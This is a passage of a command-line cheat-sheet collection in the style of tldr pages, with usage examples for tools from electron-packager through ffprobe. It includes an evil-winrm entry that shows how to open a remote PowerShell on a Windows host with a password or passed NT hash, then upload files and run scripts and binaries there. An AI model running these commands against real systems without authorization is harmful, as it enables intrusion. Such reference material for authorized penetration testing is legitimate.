Requires a valid package.json in the application directory.

More information: https://github.com/electron/electron-packager.

• Package an application for the current architecture and platform:

electron-packager "{{path/to/app}}" "{{app_name}}"

• Package an application for all architectures and platforms:

electron-packager "{{path/to/app}}" "{{app_name}}" --all

• Package an application for 64-bit Linux:

electron-packager "{{path/to/app}}" "{{app_name}}" --


platform="{{linux}}" --arch="{{x64}}"

• Package an application for ARM macOS:

electron-packager "{{path/to/app}}" "{{app_name}}" --


platform="{{darwin}}" --arch="{{arm64}}"
electrum
Ergonomic Bitcoin wallet and private key management.

More information: https://electrum.org.

• Create a new wallet:

electrum -w {{new_wallet.dat}} create

• Restore an existing wallet from seed offline:

electrum -w {{recovery_wallet.dat}} restore -o

• Create a signed transaction offline:

electrum mktx {{recipient}} {{amount}} -f 0.0000001 -F


{{from}} -o

• Display all wallet receiving addresses:

electrum listaddresses -a

• Sign a message:

electrum signmessage {{address}} {{message}}

• Verify a message:

electrum verifymessage {{address}} {{signature}} {{message}}

• Connect only to a specific electrum-server instance:

electrum -p socks5:{{127.0.0.1}}:9050 -s
{{56ckl5obj37gypcu.onion}}:50001:t -1
elinks
A text based browser similar to lynx.

More information: http://elinks.or.cz.

• Start elinks:

elinks

• Quit elinks:

Ctrl + C

• Dump output of webpage to console, colorizing the text with ANSI control codes:

elinks -dump -dump-color-mode {{1}} {{url}}


elixir
Elixir programming language interpreter.

More information: https://elixir-lang.org.

• Run an Elixir file:

elixir {{path/to/file}}

• Evaluate Elixir code by passing it as an argument:

elixir -e "{{code}}"
elm
Compile and run Elm source files.

More information: https://elm-lang.org.

• Initialize an Elm project, generates an elm.json file:

elm init

• Start interactive Elm shell:

elm repl

• Compile an Elm file, output the result to an index.html file:

elm make {{source}}

• Compile an Elm file, output the result to a JavaScript file:

elm make {{source}} --output={{destination}}.js

• Start local web server that compiles Elm files on page load:

elm reactor

• Install Elm package from https://package.elm-lang.org:

elm install {{author}}/{{package}}


elvish
Expressive programming language and a versatile interactive shell.

More information: https://elv.sh.

• Start an interactive shell session:

elvish

• Execute a [c]ommand and then exit:

elvish -c "{{command}}"

• Execute a script and then exit:

elvish {{path/to/script.elv}}

• Print the Elvish version and then exit:

elvish -version
emacs
The extensible, customizable, self-documenting, real-time display editor.

See also emacsclient.

More information: https://www.gnu.org/software/emacs.

• Start Emacs and open a file:

emacs {{path/to/file}}

• Open a file at a specified line number:

emacs +{{line_number}} {{path/to/file}}

• Start Emacs in console mode (without an X window):

emacs --no-window-system

• Start an Emacs server in the background (accessible via emacsclient):

emacs --daemon

• Stop a running Emacs server and all its instances, asking for confirmation on
unsaved files:

emacsclient --eval '(save-buffers-kill-emacs)'

• Save a file in Emacs:

Ctrl + X, Ctrl + S

• Quit Emacs:

Ctrl + X, Ctrl + C
emacsclient
Open files in an existing Emacs server.

See also emacs.

More information: https://www.emacswiki.org/emacs/EmacsClient.

• Open a file in an existing Emacs server (using GUI if available):

emacsclient {{path/to/file}}

• Open a file in console mode (without an X window):

emacsclient --no-window-system {{path/to/file}}

• Open a file in a new Emacs window:

emacsclient --create-frame {{path/to/file}}

• Evaluate a command, printing the output to stdout, and then quit:

emacsclient --eval '({{command}})'

• Specify an alternative editor in case no Emacs server is running:

emacsclient --alternate-editor {{editor}} {{path/to/file}}

• Stop a running Emacs server and all its instances, asking for confirmation on
unsaved files:

emacsclient --eval '(save-buffers-kill-emacs)'


ember
The Ember.js command-line utility.

Used for creating and maintaining Ember.js applications.

More information: https://cli.emberjs.com.

• Create a new Ember application:

ember new {{my_new_app}}

• Create a new Ember addon:

ember addon {{my_new_addon}}

• Build the project:

ember build

• Build the project in production mode:

ember build -prod

• Run the development server:

ember serve

• Run the test suite:

ember test

• Run a blueprint to generate something like a route or component:

ember generate {{type}} {{name}}

• Install an ember-cli addon:

ember install {{name_of_addon}}


emulator
Manager Android emulators from the command-line.

More information: https://developer.android.com/studio/run/emulator-commandline.

• Display the help:

emulator -help

• Start an Android emulator device:

emulator -avd {{name}}

• Display the webcams on your development computer that are available for
emulation:

emulator -avd {{name}} -webcam-list

• Start an emulator overriding the facing back camera setting (use -camera-front
for front camera):

emulator -avd {{name}} -camera-back {{none|emulated|webcamN}}

• Start an emulator, with a maximum network speed:

emulator -avd {{name}} -netspeed {{gsm|hscsd|gprs|edge|hsdpa|


lte|evdo|full}}

• Start an emulator with network latency:

emulator -avd {{name}} -netdelay {{gsm|hscsd|gprs|edge|hsdpa|


lte|evdo|none}}

• Start an emulator, making all TCP connections through a specified HTTP/HTTPS


proxy (port number is required):

emulator -avd {{name}} -http-proxy {{http://example.com:80}}

• Start an emulator with a given SD card partition image file:

emulator -avd {{name}} -sdcard {{path/to/sdcard.img}}


enca
Detect and convert the encoding of text files.

More information: https://github.com/nijel/enca.

• Detect file(s) encoding according to the system's locale:

enca {{file1 file2 ...}}

• Detect file(s) encoding specifying a language in the POSIX/C locale format (e.g.
zh_CN, en_US):

enca -L {{language}} {{file1 file2 ...}}

• Convert file(s) to a specific encoding:

enca -L {{language}} -x {{to_encoding}} {{file1 file2 ...}}

• Create a copy of an existing file using a different encoding:

enca -L {{language}} -x {{to_encoding}} < {{original_file}} >


{{new_file}}
encfs
Mounts or creates encrypted virtual filesystems.

See also fusermount, which can unmount filesystems mounted by this command.

More information: https://github.com/vgough/encfs.

• Initialize or mount an encrypted filesystem:

encfs {{/path/to/cipher_dir}} {{/path/to/mount_point}}

• Initialize an encrypted filesystem with standard settings:

encfs --standard {{/path/to/cipher_dir}} {{/path/to/


mount_point}}

• Run encfs in the foreground instead of spawning a daemon:

encfs -f {{/path/to/cipher_dir}} {{/path/to/mount_point}}

• Mount an encrypted snapshot of a plain directory:

encfs --reverse {{path/to/plain_dir}} {{path/to/cipher_dir}}


enscript
Convert text files to PostScript, HTML, RTF, ANSI, and overstrikes.

More information: https://www.gnu.org/software/enscript.

• Generate a PostScript file from a text file:

enscript {{path/to/input_file}} --output={{path/to/


output_file}}

• Generate a file in a different language than PostScript:

enscript {{path/to/input_file}} --language={{html|rtf|...}}


--output={{path/to/output_file}}

• Generate a PostScript file with a landscape layout, splitting the page into columns
(maximum 9):

enscript {{path/to/input_file}} --columns={{num}} --landscape


--output={{path/to/output_file}}

• Display available syntax highlighting languages and file formats:

enscript --help-highlight

• Generate a PostScript file with syntax highlighting and color for a specified
language:

enscript {{path/to/input_file}} --color=1 --


highlight={{language}} --output={{path/to/output_file}}
entr
Run arbitrary commands when files change.

More information: https://manned.org/entr.

• Rebuild with make if any file in any subdirectory changes:

{{ag -l}} | entr {{make}}

• Rebuild and test with make if any .c source files in the current directory change:

{{ls *.c}} | entr {{'make && make test'}}

• Send a SIGTERM to any previously spawned ruby subprocesses before executing


ruby main.rb:

{{ls *.rb}} | entr -r {{ruby main.rb}}

• Run a command with the changed file (/_) as an argument:

{{ls *.sql}} | entr {{psql -f}} /_


env
Show the environment or run a program in a modified environment.

More information: https://www.gnu.org/software/coreutils/env.

• Show the environment:

env

• Run a program. Often used in scripts after the shebang (#!) for looking up the path
to the program:

env {{program}}

• Clear the environment and run a program:

env -i {{program}}

• Remove variable from the environment and run a program:

env -u {{variable}} {{program}}

• Set a variable and run a program:

env {{variable}}={{value}} {{program}}

• Set multiple variables and run a program:

env {{variable1}}={{value}} {{variable2}}={{value}}


{{variable3}}={{value}} {{program}}
envoy
A PHP-based task manager for Laravel remote servers.

More information: https://laravel.com/docs/envoy.

• Initialise a configuration file:

envoy init {{host_name}}

• Run a task:

envoy run {{task_name}}

• Run a task from a specific project:

envoy run --path {{path/to/directory}} {{task_name}}

• Run a task and continue on failure:

envoy run --continue {{task_name}}

• Dump a task as a Bash script for inspection:

envoy run --pretend {{task_name}}

• Connect to the specified server via SSH:

envoy ssh {{server_name}}


envsubst
Substitutes environment variables with their value in shell format strings.

Variables to be replaced should be in either ${var} or $var format.

More information: https://www.gnu.org/software/gettext/manual/html_node/envsubst-


Invocation.html.

• Replace environment variables in stdin and output to stdout:

echo '{{$HOME}}' | envsubst

• Replace environment variables in an input file and output to stdout:

envsubst < {{path/to/input_file}}

• Replace environment variables in an input file and output to a file:

envsubst < {{path/to/input_file}} > {{path/to/output_file}}

• Replace environment variables in an input file from a space-separated list:

envsubst '{{$USER $SHELL $HOME}}' < {{path/to/input_file}}


eqn
Equation preprocessor for the groff (GNU Troff) document formatting system.

See also troff and groff.

More information: https://manned.org/eqn.

• Process input with equations, saving the output for future typesetting with groff to
PostScript:

eqn {{path/to/input.eqn}} > {{path/to/output.roff}}

• Typeset an input file with equations to PDF using the [me] macro package:

eqn -T {{pdf}} {{path/to/input.eqn}} | groff -{{me}} -T


{{pdf}} > {{path/to/output.pdf}}
erl
Run and manage programs in the Erlang programming language.

More information: https://www.erlang.org.

• Compile and run sequential Erlang program as a common script and then exit:

erlc {{files}} && erl -noshell


'{{mymodule:myfunction(arguments)}}, init:stop().'

• Connect to a running Erlang node:

erl -remsh {{nodename}}@{{hostname}} -sname


{{custom_shortname}} -hidden -setcookie
{{cookie_of_remote_node}}

• Tell the Erlang shell to load modules from a directory:

erl -pa {{directory_with_beam_files}}


esbuild
JavaScript bundler and minifier built for speed.

More information: https://esbuild.github.io/.

• Bundle a JavaScript application and print to stdout:

esbuild --bundle {{path/to/file.js}}

• Bundle a JSX application from stdin:

esbuild --bundle --outfile={{path/to/out.js}} < {{path/to/


file.jsx}}

• Bundle and minify a JSX application with source maps in production mode:

esbuild --bundle --define:


{{process.env.NODE_ENV=\"production\"}} --minify --sourcemap
{{path/to/file.js}}

• Bundle a JSX application for a comma-separated list of browsers:

esbuild --bundle --minify --sourcemap --


target={{chrome58,firefox57,safari11,edge16}} {{path/to/
file.jsx}}

• Bundle a JavaScript application for a specific node version:

esbuild --bundle --platform={{node}} --target={{node12}}


{{path/to/file.js}}

• Bundle a JavaScript application enabling JSX syntax in .js files:

esbuild --bundle app.js --loader:{{.js=jsx}} {{path/to/


file.js}}

• Bundle and serve a JavaScript application on an HTTP server:

esbuild --bundle --serve={{port}} --outfile={{index.js}}


{{path/to/file.js}}

• Bundle a list of files to an output directory:

esbuild --bundle --outdir={{path/to/output_directory}}


{{path/to/file1}} {{path/to/file2}}
eslint
A pluggable linting utility for JavaScript and JSX.

More information: https://eslint.org.

• Create ESLint config:

eslint --init

• Lint on a given set of files:

eslint {{filename}}.js {{filename1}}.js

• Fix lint issues:

eslint --fix

• Lint with config:

eslint -c {{path/to/config_file}} {{app/src}}


espanso
Cross-platform Text Expander written in Rust.

More information: https://espanso.org.

• Check status:

espanso status

• Edit the configuration:

espanso edit config

• Install a package from the hub store (https://hub.espanso.org/):

espanso install {{package_name}}

• Restart (required after installing a package, useful in case of failure):

espanso restart
espeak
Uses text-to-speech to speak through the default sound device.

More information: http://espeak.sourceforge.net.

• Speak a phrase aloud:

espeak "I like to ride my bike."

• Speak a file aloud:

espeak -f {{filename}}

• Save output to a WAV audio file, rather than speaking it directly:

espeak -w {{filename.wav}} "It's GNU plus Linux"

• Use a different voice:

espeak -v {{voice}}
etcd
A distributed, reliable key-value store for the most critical data of a distributed system.

More information: https://etcd.io.

• Start a single-node etcd cluster:

etcd

• Start a single-node etcd cluster, listening for client requests on a custom URL:

etcd --advertise-client-urls {{http://127.0.0.1:1234}} --


listen-client-urls {{http://127.0.0.1:1234}}

• Start a single-node etcd cluster with a custom name:

etcd --name {{my_etcd_cluster}}

• Start a single-node etcd cluster with extensive metrics available at http://


localhost:2379/debug/pprof/:

etcd --enable-pprof --metrics extensive


etcdctl
CLI interface for interacting with etcd, a highly-available key-value pair store.

More information: https://etcd.io/docs/latest/dev-guide/interacting_v3/.

• Display the value associated with a specified key:

etcdctl get {{my/key}}

• Store a key-value pair:

etcdctl put {{my/key}} {{my_value}}

• Delete a key-value pair:

etcdctl del {{my/key}}

• Store a key-value pair, reading the value from a file:

etcdctl put {{my/file}} < {{path/to/file.txt}}

• Save a snapshot of the etcd keystore:

etcdctl snapshot save {{path/to/snapshot.db}}

• Restore a snapshot of an etcd keystore (restart the etcd server afterwards):

etcdctl snapshot restore {{path/to/snapshot.db}}

• Add a user:

etcdctl user add {{my_user}}

• Watch a key for changes:

etcdctl watch {{my/key}}


eva
Simple calculator REPL, similar to bc, with syntax highlighting and persistent history.

More information: https://github.com/NerdyPepper/eva.

• Run the calculator in interactive mode:

eva

• Calculate the result of an expression:

eva "{{(1 + 2) * 2 ^ 2}}"

• Calculate an expression forcing the number of decimal places to 5:

eva --fix {{5}} "{{5 / 3}}"

• Calculate an expression with sine and cosine:

eva "{{sin(1) + cos(1)}}"


eval
Execute arguments as a single command in the current shell and return its result.

More information: https://manned.org/eval.

• Call echo with the "foo" argument:

eval "{{echo foo}}"

• Set a variable in the current shell:

eval "{{foo=bar}}"
evil-winrm
Windows Remote Management (WinRM) shell for pentesting.

Once connected, we get a PowerShell prompt on the target host.

More information: https://github.com/Hackplayers/evil-winrm.

• Connect to a host:

evil-winrm --ip {{ip}} --user {{user}} --password


{{password}}

• Connect to a host, passing the password hash:

evil-winrm --ip {{ip}} --user {{user}} --hash {{nt_hash}}

• Connect to a host, specifying directories for scripts and executables:

evil-winrm --ip {{ip}} --user {{user}} --password


{{password}} --scripts {{path/to/scripts}} --executables
{{path/to/executables}}

• Connect to a host, using SSL:

evil-winrm --ip {{ip}} --user {{user}} --password


{{password}} --ssl --pub-key {{path/to/pubkey}} --priv-key
{{path/to/privkey}}

• Upload a file to the host:

PS > upload {{path/to/local/file}} {{path/to/remote/file}}

• Get a list of loaded PowerShell functions:

PS > menu

• Load a PowerShell script from the --scripts directory:

PS > {{script.ps1}}

• Invoke a binary on the host from the --executables directory:

PS > Invoke-Binary {{binary.exe}}


ex
Command-line text editor.

See also: vim.

More information: https://www.vim.org.

• Open a file:

ex {{path/to/file}}

• Save and Quit:

wq<Enter>

• Undo the last operation:

undo<Enter>

• Search for a pattern in the file:

/{{search_pattern}}<Enter>

• Perform a regular expression substitution in the whole file:

%s/{{regular_expression}}/{{replacement}}/g<Enter>

• Insert text:

i<Enter>{{text}}<C-c>

• Switch to Vim:

visual<Enter>
exa
A modern replacement for ls (List directory contents).

More information: https://the.exa.website.

• List files one per line:

exa --oneline

• List all files, including hidden files:

exa --all

• Long format list (permissions, ownership, size and modification date) of all files:

exa --long --all

• List files with the largest at the top:

exa --reverse --sort={{size}}

• Display a tree of files, three levels deep:

exa --long --tree --level={{3}}

• List files sorted by modification date (oldest first):

exa --long --sort={{modified}}

• List files with their headers, icons, and Git statuses:

exa --long --header --icons --git

• Don't list files mentioned in .gitignore:

exa --git-ignore
exec
Replace the current process with another process.

More information: https://linuxcommand.org/lc3_man_pages/exech.html.

• Replace with the specified command using the current environment variables:

exec {{command -with -flags}}

• Replace with the specified command, clearing environment variables:

exec -c {{command -with -flags}}

• Replace with the specified command and login using the default shell:

exec -l {{command -with -flags}}

• Replace with the specified command and change the process name:

exec -a {{process_name}} {{command -with -flags}}


exenv
A tool to easily install Elixir versions and manage application environments.

More information: https://github.com/exenv/exenv.

• Display a list of installed versions:

exenv versions

• Use a specific version of Elixir across the whole system:

exenv global {{version}}

• Use a specific version of Elixir for the current application/project directory:

exenv local {{version}}

• Show the currently selected Elixir version:

exenv {{version}}

• Install a version of Elixir (requires elixir-build plugin https://github.com/


mururu/elixir-build):

exenv install {{version}}


exercism
Download and solve problems from the command-line.

More information: https://exercism.org/docs/using/solving-exercises/working-locally.

• Configure the application token and the preferred workspace for Exercism:

exercism configure --token={{your-application-token}} --


workspace={{/path/to/preferred/workspace}}

• Download a specific exercise:

exercism download --exercise={{exercise_slug}} --


track={{track_slug}}

• Submit an exercise:

exercism submit {{path/to/file}}

• Print the path to the solution workspace:

exercism workspace
exiftool
Read and write meta information in files.

More information: https://exiftool.org.

• Remove all EXIF metadata from the given files:

exiftool -All= {{file1 file2 ...}}

• Move the date at which all photos in a directory were taken 1 hour forward:

exiftool "-AllDates+=0:0:0 1:0:0" {{path/to/directory}}

• Move the date at which all JPEG photos in the current directory were taken 1 day
and 2 hours backward:

exiftool "-AllDates-=0:0:1 2:0:0" -ext jpg

• Only change the DateTimeOriginal field subtracting 1.5 hours, without keeping
backups:

exiftool -DateTimeOriginal-=1.5 -overwrite_original

• Recursively rename all JPEG photos in a directory based on the


DateTimeOriginal field:

exiftool '-filename<DateTimeOriginal' -d %Y-%m-%d_%H-%M-%S%


%lc.%%e {{path/to/directory}} -r -ext jpg
exit
Exit the shell.

More information: https://manned.org/exit.

• Exit the shell with the exit code of the last command executed:

exit

• Exit the shell with the specified exit code:

exit {{exit_code}}
exiv2
Image metadata manipulation tool.

More information: https://www.exiv2.org/manpage.html.

• Print a summary of the image Exif metadata:

exiv2 {{path/to/file}}

• Print all metadata (Exif, IPTC, XMP) with interpreted values:

exiv2 -P kt {{path/to/file}}

• Print all metadata with raw values:

exiv2 -P kv {{path/to/file}}

• Delete all metadata from an image:

exiv2 -d a {{path/to/file}}

• Delete all metadata, preserving the file timestamp:

exiv2 -d a -k {{path/to/file}}

• Rename the file, prepending the date and time from metadata (not from the file
timestamp):

exiv2 -r {{'%Y%m%d_%H%M%S_:basename:'}} {{path/to/file}}


expand
Convert tabs to spaces.

More information: https://www.gnu.org/software/coreutils/expand.

• Convert tabs in each file to spaces, writing to standard output:

expand {{file}}

• Convert tabs to spaces, reading from standard input:

expand

• Do not convert tabs after non blanks:

expand -i {{file}}

• Have tabs a certain number of characters apart, not 8:

expand -t={{number}} {{file}}

• Use a comma separated list of explicit tab positions:

expand -t={{1,4,6}}
export
Command to mark shell variables in the current environment to be exported with any
newly forked child processes.

More information: https://www.gnu.org/software/bash/manual/bash.html#index-


export.

• Set a new environment variable:

export {{VARIABLE}}={{value}}

• Remove an environment variable:

export -n {{VARIABLE}}

• Mark a shell function for export:

export -f {{FUNCTION_NAME}}

• Append something to the PATH variable:

export PATH=$PATH:{{path/to/append}}
expose
An open source tunnel application for sharing websites.

More information: https://beyondco.de/docs/expose.

• Register your authentication token:

expose token {{token}}

• Share the current working directory:

expose

• Share the current working directory with a specific subdomain:

expose --subdomain={{subdomain}}

• Share a local URL:

expose share {{url}}

• Run the Expose server:

expose serve

• Run the Expose server with a specific hostname:

expose serve {{hostname}}


expr
Evaluate expressions and manipulate strings.

More information: https://www.gnu.org/software/coreutils/expr.

• Get string length:

expr length {{string}}

• Evaluate logical or math expression with an operator ('+', '-', '*', '&', '|', etc.). Special
symbols should be escaped:

expr {{first_argument}} {{operator}} {{second_argument}}

• Get position of the first character in 'string' that matches 'substring':

echo $(expr index {{string}} {{substring}})

• Extract part of the string:

echo $(expr substr {{string}} {{position_to_start}}


{{number_of_characters}}

• Extract part of the string which matches a regular expression:

echo $(expr {{string}} : '\({{regular_expression}}\)')


exrex
Generate all/random matching strings for a regular expression.

It can also simplify regular expressions.

More information: https://github.com/asciimoo/exrex.

• Generate all possible strings that match a regular expression:

exrex '{{regular_expression}}'

• Generate a random string that matches a regular expression:

exrex --random '{{regular_expression}}'

• Generate at most 100 strings that match a regular expression:

exrex --max-number {{100}} '{{regular_expression}}'

• Generate all possible strings that match a regular expression, joined by a custom
delimiter string:

exrex --delimiter "{{, }}" '{{regular_expression}}'

• Print count of all possible strings that match a regular expression:

exrex --count '{{regular_expression}}'

• Simplify a regular expression:

exrex --simplify '{{ab|ac}}'

• Print eyes:

exrex '{{[oO0](_)[oO0]}}'

• Print a boat:

exrex '{{( {20}(\| *\\|-{22}|\|)|\.={50}| ( ){0,5}\\\.| {12}


~{39})}}'
f3fix
Edit the partition table of a fake flash drive.

See also f3probe, f3write, f3read.

More information: http://oss.digirati.com.br/f3/.

• Fill a fake flash drive with a single partition that matches its real capacity:

sudo f3fix {{/dev/device_name}}

• Mark the partition as bootable:

sudo f3fix --boot {{/dev/device_name}}

• Specify the filesystem:

sudo f3fix --fs-type={{filesystem_type}} {{/dev/device_name}}


f3probe
Probe a block device (e.g. a flash drive or a microSD card) for counterfeit flash memory.

See also f3read, f3write, f3fix.

More information: https://github.com/AltraMayor/f3.

• Probe a block device:

sudo f3probe {{path/to/block_device}}

• Use the minimum about of RAM possible:

sudo f3probe --min-memory {{path/to/block_device}}

• Time disk operations:

sudo f3probe --time-ops {{path/to/block_device}}


f3read
Validate .h2w files to test the real capacity of the drive.

See also f3write, f3probe, f3fix.

More information: http://oss.digirati.com.br/f3/.

• Validate a device by checking the files in a given directory:

f3read {{path/to/mount_point}}
f3write
Fill a drive out with .h2w files to test its real capacity.

See also f3read, f3probe, f3fix.

More information: http://oss.digirati.com.br/f3/.

• Write test files to a given directory, filling the drive:

f3write {{path/to/mount_point}}

• Limit the write speed:

f3write --max-write-rate={{kb_per_second}} {{path/to/


mount_point}}
factor
Prints the prime factorization of a number.

More information: https://www.gnu.org/software/coreutils/factor.

• Display the prime-factorization of a number:

factor {{number}}

• Take the input from stdin if no argument is specified:

echo {{number}} | factor


fakedata
Generate fake data using a large variety of generators.

More information: https://github.com/lucapette/fakedata.

• List all valid generators:

fakedata --generators

• Generate data using one or more generators:

fakedata {{generator1}} {{generator2}}

• Generate data with a specific output format:

fakedata --format {{csv|tab|sql}} {{generator}}

• Generate a given number of data items (defaults to 10):

fakedata --limit {{n}} {{generator}}

• Generate data using a custom output template (the first letter of generator names
must be capitalized):

echo "{{\{\{Generator\}\}}}" | fakedata


false
Returns an exit code of 1.

More information: https://www.gnu.org/software/coreutils/false.

• Return an exit code of 1:

false
fast
Test your download and upload speed using fast.com.

More information: https://github.com/sindresorhus/fast-cli.

• Measure the current download speed:

fast

• Measure the current upload speed in addition to download speed:

fast --upload

• Display results on a single line to reduce spacing:

fast --single-line
fastboot
Communicate with connected Android devices when in bootloader mode (the one place
adb doesn't work).

More information: https://cs.android.com/android/platform/superproject/+/


master:system/core/fastboot.

• Unlock the bootloader:

fastboot oem unlock

• Relock the bootloader:

fastboot oem lock

• Reboot the device from fastboot mode into fastboot mode again:

fastboot reboot bootloader

• Flash a given image:

fastboot flash {{file.img}}

• Flash a custom recovery image:

fastboot flash recovery {{file.img}}

• Display connected devices:

fastboot devices

• Display all information of a device:

fastboot getvar all


fastlane
Build and release mobile applications from the command-line.

More information: https://docs.fastlane.tools/actions/.

• Build and sign the iOS application in the current directory:

fastlane run build_app

• Run pod install for the project in the current directory:

fastlane run cocoapods

• Delete the derived data from Xcode:

fastlane run clear_derived_data

• Remove the cache for pods:

fastlane run clean_cocoapods_cache


fc-cache
Scan font directories to build font cache files.

More information: https://manned.org/fc-cache.

• Generate font cache files:

fc-cache

• Force a rebuild of all font cache files, without checking if cache is up-to-date:

fc-cache -f

• Erase font cache files, then generate new font cache files:

fc-cache -r
fc-list
List available fonts installed on the system.

More information: https://manned.org/fc-list.

• Return a list of installed fonts in your system:

fc-list

• Return a list of installed fonts with given name:

fc-list | grep '{{DejaVu Serif}}'

• Return the number of installed fonts in your system:

fc-list | wc -l
fc-match
Match available fonts.

More information: https://manned.org/fc-match.

• Return a sorted list of best matching fonts:

fc-match -s '{{DejaVu Serif}}'


fc-pattern
Shows information about a font matching a pattern.

More information: https://manned.org/fc-pattern.

• Display default information about a font:

fc-pattern --default '{{DejaVu Serif}}'

• Display config information about a font:

fc-pattern --config '{{DejaVu Serif}}'


fc
Open the most recent command and edit it.

Some subcommands such as fc list have their own usage documentation.

More information: https://manned.org/fc.

• Open in the default system editor:

fc

• Specify an editor to open with:

fc -e {{'emacs'}}

• List recent commands from history:

fc -l

• List recent commands in reverse order:

fc -r

• List commands in a given interval:

fc '{{416}}' '{{420}}'
fd
An alternative to find.

Aims to be faster and easier to use than find.

More information: https://github.com/sharkdp/fd.

• Recursively find files matching the given pattern in the current directory:

fd {{pattern}}

• Find files that begin with "foo":

fd {{'^foo'}}

• Find files with a specific extension:

fd --extension {{txt}}

• Find files in a specific directory:

fd {{pattern}} {{path/to/directory}}

• Include ignored and hidden files in the search:

fd --hidden --no-ignore {{pattern}}

• Execute a command on each search result returned:

fd {{pattern}} --exec {{command}}


fdp
Render an image of a force-directed network graph from a graphviz file.

Layouts: dot, neato, twopi, circo, fdp, sfdp, osage & patchwork.

More information: https://graphviz.org/doc/info/command.html.

• Render a png image with a filename based on the input filename and output
format (uppercase -O):

fdp -T {{png}} -O {{path/to/input.gv}}

• Render a svg image with the specified output filename (lowercase -o):

fdp -T {{svg}} -o {{path/to/image.svg}} {{path/to/input.gv}}

• Render the output in ps, pdf, svg, fig, png, gif, jpg, json, or dot format:

fdp -T {{format}} -O {{path/to/input.gv}}

• Render a gif image using stdin and stdout:

echo "{{digraph {this -> that} }}" | fdp -T {{gif}} > {{path/
to/image.gif}}

• Display help:

fdp -?
fdroid
F-Droid build tool.

F-Droid is an installable catalog of FOSS (Free and Open Source Software) applications
for the Android platform.

More information: https://f-droid.org/.

• Build a specific app:

fdroid build {{app_id}}

• Build a specific app in a build server VM:

fdroid build {{app_id}} --server

• Publish the app to the local repository:

fdroid publish {{app_id}}

• Install the app on every connected device:

fdroid install {{app_id}}

• Check if the metadata is formatted correctly:

fdroid lint --format {{app_id}}

• Fix the formatting automatically (if possible):

fdroid rewritemeta {{app_id}}


fdroidcl
F-Droid CLI client.

More information: https://github.com/mvdan/fdroidcl.

• Fetch the F-Droid index:

fdroidcl update

• Display info about an app:

fdroidcl show {{app_id}}

• Download an APK file:

fdroidcl download {{app_id}}

• Search for an app in the index:

fdroidcl search {{search_pattern}}

• Install an app on a connected device:

fdroidcl install {{app_id}}


fdupes
Finds duplicate files in a given set of directories.

More information: https://github.com/adrianlopezroche/fdupes.

• Search a single directory:

fdupes {{directory}}

• Search multiple directories:

fdupes {{directory1}} {{directory2}}

• Search a directory recursively:

fdupes -r {{directory}}

• Search multiple directories, one recursively:

fdupes {{directory1}} -R {{directory2}}

• Search recursively for duplicates and display interactive prompt to pick which
ones to keep, deleting the others:

fdupes -rd {{directory}}

• Search recursively and delete duplicates without prompting:

fdupes -rdN {{directory}}


feh
Lightweight image viewing utility.

More information: https://feh.finalrewind.org.

• View images locally or using a URL:

feh {{path/to/images}}

• View images recursively:

feh --recursive {{path/to/images}}

• View images without window borders:

feh --borderless {{path/to/images}}

• Exit after the last image:

feh --cycle-once {{path/to/images}}

• Set the slideshow cycle delay:

feh --slideshow-delay {{seconds}} {{path/to/images}}

• Set your wallpaper (centered, filled, maximized, scaled or tiled):

feh --bg-{{center|fill|max|scale|tile}} {{path/to/image}}

• Create a montage of all images within a directory. Outputs as a new image:

feh --montage --thumb-height {{150}} --thumb-width {{150}} --


index-info "{{%nn%wx%h}}" --output {{path/to/
montage_image.png}}
ffe
Extract fields from a flat database file and write to another format.

A configuration file is required to interpret the input and format the output.

More information: http://ff-extractor.sourceforge.net/ffe.html.

• Display all input data using the specified data configuration:

ffe --configuration={{path/to/config.ffe}} {{path/to/input}}

• Convert an input file to an output file in a new format:

ffe --output={{path/to/output}} -c {{path/to/config.ffe}}


{{path/to/input}}

• Select input structure and print format from definitions in ~/.fferc config file:

ffe --structure={{structure}} --print={{format}} {{path/to/


input}}

• Write only the selected fields:

ffe --field-list="{{FirstName,LastName,Age}}" -c {{path/to/


config.ffe}} {{path/to/input}}

• Write only the records that match an expression:

ffe -e "{{LastName=Smith}}" -c {{path/to/config.ffe}} {{path/


to/input}}

• Display help:

ffe --help
ffmpeg
Video conversion tool.

More information: https://ffmpeg.org.

• Extract the sound from a video and save it as MP3:

ffmpeg -i {{video.mp4}} -vn {{sound}}.mp3

• Convert frames from a video or GIF into individual numbered images:

ffmpeg -i {{video.mpg|video.gif}} {{frame_%d.png}}

• Combine numbered images (frame_1.jpg, frame_2.jpg, etc) into a video or


GIF:

ffmpeg -i {{frame_%d.jpg}} -f image2 {{video.mpg|video.gif}}

• Quickly extract a single frame from a video at time mm:ss and save it as a 128x128
resolution image:

ffmpeg -ss {{mm:ss}} -i {{video.mp4}} -frames 1 -s


{{128x128}} -f image2 {{image.png}}

• Trim a video from a given start time mm:ss to an end time mm2:ss2 (omit the -to
flag to trim till the end):

ffmpeg -ss {{mm:ss}} -to {{mm2:ss2}} -i {{video.mp4}} -codec


copy {{output.mp4}}

• Convert AVI video to MP4. AAC Audio @ 128kbit, h264 Video @ CRF 23:

ffmpeg -i {{input_video}}.avi -codec:audio aac -b:audio 128k


-codec:video libx264 -crf 23 {{output_video}}.mp4

• Remux MKV video to MP4 without re-encoding audio or video streams:

ffmpeg -i {{input_video}}.mkv -codec copy


{{output_video}}.mp4

• Convert MP4 video to VP9 codec. For the best quality, use a CRF value
(recommended range 15-35) and -b:video MUST be 0:

ffmpeg -i {{input_video}}.mp4 -codec:video libvpx-vp9 -crf


{{30}} -b:video 0 -codec:audio libopus -vbr on -threads
{{number_of_threads}} {{output_video}}.webm
ffplay
A simple and portable media player using the FFmpeg libraries and the SDL library.

More information: https://ffmpeg.org/ffplay-all.html.

• Play a media file:

ffplay {{path/to/file}}

• Play a video and show motion vectors in real time:

ffplay -flags2 +export_mvs -vf codecview=mv=pf+bf+bb {{path/


to/file}}

• Show only video keyframes:

ffplay -vf select="{{eq(pict_type\,PICT_TYPE_I)}}" {{path/to/


file}}
ffprobe
Multimedia stream analyzer.

More information: https://ffmpeg.org/ffprobe.html.

• Display all available stream info for a media file:

ffprobe -v error -show_entries {{input.mp4}}

• Display media duration:

ffprobe -v error -show_entries format=duration -of


default=noprint_wrappers=1:nokey=1 {{input.mp4}}

• Display the frame rate of a video:

ffprobe -v error -select_streams v:0 -show_entries


stream=avg_frame_rate -of default=noprint_wrappers=1:nokey=1
{{input.mp4}}

• Display the width or height of a video:

ffprobe -v error -select_streams v:0 -show_entries


stream={{width|height}} -of
default=noprint_wrappers=1:nokey=1 {{input.mp4}}

• Display the average bit rate of a video:

ffprobe -v error -select_streams v:0 -show_entries


